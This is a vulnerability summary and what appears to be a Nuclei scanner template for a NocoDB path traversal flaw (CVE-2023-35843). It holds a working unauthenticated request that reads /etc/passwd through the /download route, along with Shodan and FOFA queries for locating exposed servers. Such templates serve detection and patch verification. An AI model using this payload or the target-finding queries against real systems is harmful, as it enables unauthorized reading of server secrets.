NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
PoC代码[已公开]
id: CVE-2023-35843
info:
name: NocoDB version <= 0.106.1 - Arbitrary File Read
author: dwisiswant0
severity: high
description: |
NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
impact: |
The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database contents, and other confidential data.
remediation: |
Upgrade NocoDB to a version higher than 0.106.1 to mitigate the vulnerability.
reference:
- https://advisory.dw1.io/60
- https://nvd.nist.gov/vuln/detail/CVE-2023-35843
- https://github.com/nocodb/nocodb/blob/6decfa2b20c28db9946bddce0bcb1442b683ecae/packages/nocodb/src/lib/controllers/attachment.ctl.ts#L62-L74
- https://github.com/nocodb/nocodb/blob/f7ee7e3beb91d313a159895d1edc1aba9d91b0bc/packages/nocodb/src/controllers/attachments.controller.ts#L55-L66
- https://github.com/0x783kb/Security-operation-book
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-35843
cwe-id: CWE-22
epss-score: 0.91956
epss-percentile: 0.99679
cpe: cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nocodb
product: nocodb
shodan-query: http.favicon.hash:-2017596142
fofa-query: icon_hash=-2017596142
tags: cve2023,cve,nocodb,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a0047304502200d0d3d4bdf2545e4b6568c913ebe12d0708e7d9b23d668352f46c770a14ee3b6022100cb366180a69254146152d7c4402e6dc15672aeec7e34c6df2fe0f8dd0a770368:922c64590222798bb761d5b6d8e72950